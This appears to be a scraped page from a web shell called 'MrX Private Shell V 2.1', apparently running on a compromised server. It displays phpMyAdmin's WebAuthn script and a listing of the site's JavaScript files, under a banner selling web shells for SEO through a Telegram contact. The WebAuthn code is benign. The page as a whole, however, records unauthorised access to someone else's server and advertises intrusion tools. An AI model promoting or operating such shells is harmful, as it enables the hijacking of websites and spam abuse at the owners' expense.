__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @param {ArrayBuffer} buffer
*
* @return {string}
*/
const arrayBufferToBase64 = buffer => {
const bytes = new Uint8Array(buffer);
let string = '';
for (const byte of bytes) {
string += String.fromCharCode(byte);
}
return window.btoa(string);
};
/**
* @param {string} string
*
* @return {Uint8Array}
*/
const base64ToUint8Array = string => {
return Uint8Array.from(window.atob(string), char => char.charCodeAt(0));
};
/**
* @param {JQuery<HTMLElement>} $input
*
* @return {void}
*/
const handleCreation = $input => {
const $form = $input.parents('form');
$form.find('input[type=submit]').hide();
const creationOptionsJson = $input.attr('data-creation-options');
const creationOptions = JSON.parse(creationOptionsJson);
const publicKey = creationOptions;
publicKey.challenge = base64ToUint8Array(creationOptions.challenge);
publicKey.user.id = base64ToUint8Array(creationOptions.user.id);
if (creationOptions.excludeCredentials) {
const excludedCredentials = [];
for (let value of creationOptions.excludeCredentials) {
let excludedCredential = value;
excludedCredential.id = base64ToUint8Array(value.id);
excludedCredentials.push(excludedCredential);
}
publicKey.excludeCredentials = excludedCredentials;
}
// eslint-disable-next-line compat/compat
navigator.credentials.create({ publicKey: publicKey })
.then((credential) => {
const credentialJson = JSON.stringify({
id: credential.id,
rawId: arrayBufferToBase64(credential.rawId),
type: credential.type,
response: {
clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON),
attestationObject: arrayBufferToBase64(credential.response.attestationObject),
}
});
$input.val(credentialJson);
$form.trigger('submit');
})
.catch((error) => Functions.ajaxShowMessage(error, false, 'error'));
};
/**
* @param {JQuery<HTMLElement>} $input
*
* @return {void}
*/
const handleRequest = $input => {
const $form = $input.parents('form');
$form.find('input[type=submit]').hide();
const requestOptionsJson = $input.attr('data-request-options');
const requestOptions = JSON.parse(requestOptionsJson);
const publicKey = requestOptions;
publicKey.challenge = base64ToUint8Array(requestOptions.challenge);
if (requestOptions.allowCredentials) {
const allowedCredentials = [];
for (let value of requestOptions.allowCredentials) {
let allowedCredential = value;
allowedCredential.id = base64ToUint8Array(value.id);
allowedCredentials.push(allowedCredential);
}
publicKey.allowCredentials = allowedCredentials;
}
// eslint-disable-next-line compat/compat
navigator.credentials.get({ publicKey: publicKey })
.then((credential) => {
const credentialJson = JSON.stringify({
id: credential.id,
rawId: arrayBufferToBase64(credential.rawId),
type: credential.type,
response: {
authenticatorData: arrayBufferToBase64(credential.response.authenticatorData),
clientDataJSON: arrayBufferToBase64(credential.response.clientDataJSON),
signature: arrayBufferToBase64(credential.response.signature),
userHandle: arrayBufferToBase64(credential.response.userHandle),
}
});
$input.val(credentialJson);
$form.trigger('submit');
})
.catch((error) => Functions.ajaxShowMessage(error, false, 'error'));
};
AJAX.registerOnload('webauthn.js', function () {
if (
! navigator.credentials
|| ! navigator.credentials.create
|| ! navigator.credentials.get
|| ! window.PublicKeyCredential
) {
Functions.ajaxShowMessage(Messages.webAuthnNotSupported, false, 'error');
return;
}
const $creationInput = $('#webauthn_creation_response');
if ($creationInput.length > 0) {
handleCreation($creationInput);
}
const $requestInput = $('#webauthn_request_response');
if ($requestInput.length > 0) {
handleRequest($requestInput);
}
});
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| codemirror | Folder | 0755 |
|
|
| database | Folder | 0755 |
|
|
| designer | Folder | 0755 |
|
|
| jqplot | Folder | 0755 |
|
|
| server | Folder | 0755 |
|
|
| setup | Folder | 0755 |
|
|
| table | Folder | 0755 |
|
|
| transformations | Folder | 0755 |
|
|
| ajax.js | File | 33.96 KB | 0644 |
|
| chart.js | File | 18.29 KB | 0644 |
|
| common.js | File | 5.14 KB | 0644 |
|
| config.js | File | 25.6 KB | 0644 |
|
| console.js | File | 56.88 KB | 0644 |
|
| cross_framing_protection.js | File | 423 B | 0644 |
|
| doclinks.js | File | 18.54 KB | 0644 |
|
| drag_drop_import.js | File | 14.28 KB | 0644 |
|
| error_report.js | File | 10.34 KB | 0644 |
|
| export.js | File | 34.37 KB | 0644 |
|
| export_output.js | File | 402 B | 0644 |
|
| functions.js | File | 162.86 KB | 0644 |
|
| gis_data_editor.js | File | 14.37 KB | 0644 |
|
| home.js | File | 5.96 KB | 0644 |
|
| import.js | File | 6.02 KB | 0644 |
|
| indexes.js | File | 30.5 KB | 0644 |
|
| jquery.sortable-table.js | File | 11.02 KB | 0644 |
|
| keyhandler.js | File | 2.22 KB | 0644 |
|
| makegrid.js | File | 97.52 KB | 0644 |
|
| menu_resizer.js | File | 6.43 KB | 0644 |
|
| multi_column_sort.js | File | 1.34 KB | 0644 |
|
| name-conflict-fixes.js | File | 44 B | 0644 |
|
| navigation.js | File | 58.82 KB | 0644 |
|
| normalization.js | File | 28.83 KB | 0644 |
|
| ol.mjs | File | 1.03 KB | 0644 |
|
| page_settings.js | File | 2.01 KB | 0644 |
|
| replication.js | File | 3.71 KB | 0644 |
|
| shortcuts_handler.js | File | 3.72 KB | 0644 |
|
| sql.js | File | 39.28 KB | 0644 |
|
| u2f.js | File | 3.39 KB | 0644 |
|
| webauthn.js | File | 4.34 KB | 0644 |
|